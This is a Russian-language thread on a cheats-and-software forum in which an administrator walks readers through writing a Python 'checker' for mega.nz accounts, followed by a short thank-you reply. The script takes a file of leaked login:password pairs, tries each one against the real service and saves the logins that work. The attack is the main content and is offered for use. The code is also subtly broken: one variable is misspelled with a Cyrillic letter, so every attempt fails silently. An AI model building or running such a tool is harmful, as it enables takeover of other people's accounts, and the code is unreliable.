Добро пожаловать! Игровой форум WLUX.NET - Игры, Читы, Скрипты, Статьи, Софт, Курсы.

Присоединяйтесь к нам сейчас, чтобы получить доступ ко всем нашим функциям. После регистрации и входа в систему вы сможете создавать темы, публиковать ответы на существующие темы, повышать репутацию участников, скачивать вложения и файлы и многое, многое другое. Так чего же вы ждете?

Добро пожаловать гость!

Приветствуем вас на нашем форуме! Мы очень рады вас видеть и с большим удовольствием поделимся всей информацией нашего форума!

Мы уважаем своих пользователей и так же ждем от вас приятного общения.

Система наград, ежедневное пополнения тем!

Общайся, получай награды.

Статьи, гайды, софт

У нас вы можете скачать бесплатно читы для игр. Полезные гайды на любые темы и схемы заработка. Есть раздел халявы!

FAQ по форуму

Не понимаю, как и что тут работает у вас?!Как создавать темы, писать сообщения, как получать реакции. Почему не засчитывает сообщения. Все ответы здесь

  • Добро пожаловать на сайт - wlux.net!

    FAQ по форуму

    1. Все сообщения до группы местный проходят модерацию от 1 минуты до 24 часа

    2. Сообщения учитываються в следующих разделах: Читать

    3.Что-бы скачать вложение нужно 2 сообщения.

    4.Личные переписки работают только с Администрацией форума

    5. Запрещено: Просить скрытый текст , спам, реклама, скам, ддос, кардинг и другая чернуха, нарушать любые законы РФ/СНГ = бан аккаунта

    6. Внимание! Мы не удаляем аккаунты с форума! Будьте внимательны ДО регистрации! Как удалить аккаунт на форуме?!

    5.Не понимаю, как и что тут работает у вас?!Как создавать темы, писать сообщения, как получать реакции. Почему не засчитывает сообщения. Все ответы здесь

python Исходник Гайд Пишем чекер аккаунтов mega.nz. на PYTHON

wlux.net Оффлайн

wlux.net

Где волчьи уши, там волчьи зубы.
Команда форума
LV
7
 
20.06.2022
23 847
218
36
Награды
10
Пол
Муж.

Репутация:

  • Автор темы
  • Администратор
  • Модератор
  • Команда форума
  • #1
Пишем чекер аккаунтов mega.nz. на PYTHON.jpg

Писать мы будем чекер аккаунтов

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

.

Для создания чекера нам надо:
  • Иметь установлений python (

    Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

    )
  • Иметь желания и хоть какие то руки
  • Текстовый редактор (Notepad ++, Visual Studio, PyCharm и прочие)
  • Повторять все как в статье
Приступаем, после скачивания python. Установим нужные нам зависимости, то есть

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

.

Тыкаем WIN + R и пишем cmd, нажимаем enter. Вы открыли

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

.

В консоле пишем:
Python:
pip install DateTime && pip install mega.py
Ждем окончания загрузки, и закрываем cmd. Теперь создаем txt фалик и заменяем txt на py. Открываем его текстовый редактором (редактором кода), и начинаем кодить.
Python:
from mega import Mega
mega = Mega()

Импортируем библиотеку Mega, которая нам надо для самой функции брута.
Сделаем еще два импорта (можно и без них, но придется изменять код) они просто для удобства
Python:
import datetime
import sys

Теперь сделаем def в который будет спрашивать названия файлика с базой для бурта, и проверять что ввел юзер (если он ввел название без .txt окончание то добавлять его).
Python:
def main():
    print('MEGA.NZ ACCOUNTS BRUTER BY SHIFTER\n')
    print('Поместите базу для брута в директорию с этим скриптом')
    q = str(input('Введите название файла (базы для брута): '))
 
    if '.txt' in q:
        dir_ = q
    else:
        dir_ = q + '.txt'
 
    checker(dir_)

def - Оболочка с кодом так сказать.

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.




Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

- выводить текст в консольку


Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

- запрашивает текст (дает пользователю ввести текст)


Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

- операторы. Если произойдет это действие то будет так, если произойдет иначе будет так.

checker(dir_) - перенаправление на другой def под названием checker (который уже и будет чекать аккаунт на валид). Также мы через это перенаправлением передаем аргумент (args) под названием dir_ то есть то что ввел пользователь

Теперь сделаем что бы def main() работал.

Код:
main()

Осталась последняя часть. Сам чекер, для новеньких в этой сфере ничего не будет понятно скорее всего, но постараюсь объяснить.
3ff2427b-af23-4c0b-9c3a-f8831ee7c30e.png

Между импортами и def main() (см. скрин выше) пишем:
Код:
def checker(dir_):

Мы опять создали оболочку где будет храниться и выполняться наш код чекера.
Теперь будем использовать ранее импортированную библиотеку datetime. Для чего? Да что бы сохранять наш файлик с прочеканой базой время когда начался брут.

Пишем:
Код:
 date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
    file_name = 'output_' + date + '.txt'
Мы создали переменную date, которая выдает точное время (2021-02-22 16:49:06.035025 например.)

и что бы не было ошибки что нельзя сделать файлик с названием в котором есть ":" мы их заменяем функцией

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

на '-'.

Потом же создаем переменную которая обозначает название файлика где будет сохранен результат.

Теперь сделаем обработку ошибок, что бы при ошибке скрипт не падал, а просто показывал ошибку.

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Пишем:
Код:
try:

    except Exception as e:
        print(e)

as - логично с анг. "как".

то есть мы ловим ошибку как e и потом выводим ошибку.
Приступаем к созданию файлика где будет результат и чтению файлика с базой для дальнейших действий. Пишем между try: и except: данный код
Код:
 with open(file_name, 'w', encoding='utf-8') as f:
            f.write('MEGA.NZ ACCOUNTS:\n\n')
 
        with open(dir_, 'r', encoding='utf-8') as accounts:

мы юзаем конструкцию

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

. Т.к. она автоматически закрывает файлик.
Код:
            accounts = accounts.read()

этим кодом просматриваем содержимое нашего файлика под переменной dir_ .
Напишем проверку используя операторов If, else.
Код:
  if len(accounts) >= 1:
                account = accounts.split('\n')

len - с англ. сокращено от слова Leng, длина. Мы проверяем на то что в фалике больше 1 символа, иначе выводим ошибку:
Код:
  else:
                sys.exit('Файл ' + dir_ + ' пустой!')

Используя встроенную библиотеку в python - sys. Подробней о библиотеке

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.



Если же в файлике больше одного символа то срабатывает код который мы сейчас будем писать. На данный момент, создаётся переменная account которая содержит в себе аккаунты. Также мы использовали метод

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

который обрезает строку по заданным параметрами. В нашем случае мы разделяем весь файлик на много строк (ну то есть 1 строка в файлике - 1 строка в переменной. Они записываются

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

.)

'\n' это перенос строки на 1 вниз.
92d83124-bfb1-49be-b92d-18f591777bf9.png

Теперь между if и else (см. скрин выше) пишем еще одну проверку на то что выводить в соответствии от кол-ва аккаунтов в текстовом документе (если 1 - аккаунта, если 0 или больше 1 то аккаунтов)
Код:
  if str(len(account)) == '1':
                    q = 'a'
                else:
                    q = 'ов'

И выводим методом print() то сколько аккаунтов чекер будет чекать:
Код:
                print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)

Окончание: сам чекер​

Используем

Пожалуйста, войдите или зерегистрируйтесь, чтобы увидеть скрытый текст.

мы по очереди начинаем выполнять код который будет ниже.

Снов пишем конструкцию try: except: которая в этом случае будет мало ли того что поможет скрипту не падать, да и еще определять валидный ли аккаунт.
Код:
  try:
                        acc = account.split(':')
                 
                        mega.login(acс[0], acc[1])
                 
                        print("[+] " + account)
                 
                        output = open(file_name, 'a', encoding='utf-8')
                        output.write(account + '\n')
                        output.close()
                 
                    except:
                        print(f"[-] {account}")

Это последние строки кода. В цикле, мы начинаем ловить ошибку, выполняем код:
Код:
                        acc = account.split(':')

разделяем строку на логин и пароль методом split который мы уже использовали выше)

Используем библиотеку mega и пробуем выполнить вход в аккаунт:
Код:
                        mega.login(acс[0], acc[1])

если пароль или логин не верный скрипт должен был упасть, но мы сделали конструкцию try: except благодаря чему он не падает. А выводить ошибку что аккаунт не валидный:
Код:
except:
                        print(f"[-] {account}")

Если же аккаунт валид - выводим это:
Код:
                        print("[+] " + account)

и сохраняем его в файлик под названием значения нашей переменной file_name:
Код:
 output = open(file_name, 'a', encoding='utf-8')
                        output.write(account + '\n')
                        output.close()

Открываем файлик с режимом A что обозначает, что аккаунты будут дописываться в файл. Также используем encoding, здесь очевидно. Но все же, это для того что бы при сохранение файлика случайно не вышло такого:
1be00e41-4dcd-46ed-8136-42c86a918c74.png

На этом наш кодинг закончился..

Наш итоговый код:
Python:
from mega import Mega
mega = Mega()

import datetime
import sys

def checker(dir_):

    date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-')
    file_name = 'output_' + date + '.txt'
 
    try:
 
        with open(file_name, 'w', encoding='utf-8') as f:
            f.write('MEGA.NZ ACCOUNTS:\n\n')
 
        with open(dir_, 'r', encoding='utf-8') as accounts:
 
            accounts = accounts.read()
     
            if len(accounts) >= 1:
                account = accounts.split('\n')

                if str(len(account)) == '1':
                    q = 'a'
                else:
                    q = 'ов'
             
                print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)
                for account in account:
                    try:
                        acc = account.split(':')
                 
                        mega.login(acс[0], acc[1])
                 
                        print("[+] " + account)
                 
                        output = open(file_name, 'a', encoding='utf-8')
                        output.write(account + '\n')
                        output.close()
                 
                    except:
                        print(f"[-] {account}")
                 
                sys.exit('Брут закончен! Результат сохранен в ' + file_name)
            else:
                sys.exit('Файл ' + dir_ + ' пустой!')
         
    except Exception as e:
        print(e)


def main():
    print('MEGA.NZ ACCOUNTS BRUTER BY SCAMMEMS\n')
    print('Поместите базу для брута в директорию с этим скриптом')
    q = str(input('Введите название файла (базы для брута): '))
 
    if '.txt' in q:
        dir_ = q
    else:
        dir_ = q + '.txt'
 
    checker(dir_)
 

main()

Переходим к запуску скрипта:​

Отрываем cmd (командную строку);
Код:
Пишем cd путь/к/файлику.py
Потом пишем python файлик.py

Вводим название файла где храниться база для брута. Ожидаем не много времени, и готово! База сохранена в файлику под названием времени когда был запущен брут.
 
E Оффлайн

exorcismus

Участник
LV
3
 
13.05.2024
6
0
11
Награды
3
38

Репутация:

Очень крутая тема, спасибо!
 

Поиск по форуму

Похожие темы:

shape1
shape2
shape3
shape4
shape7
shape8
Верх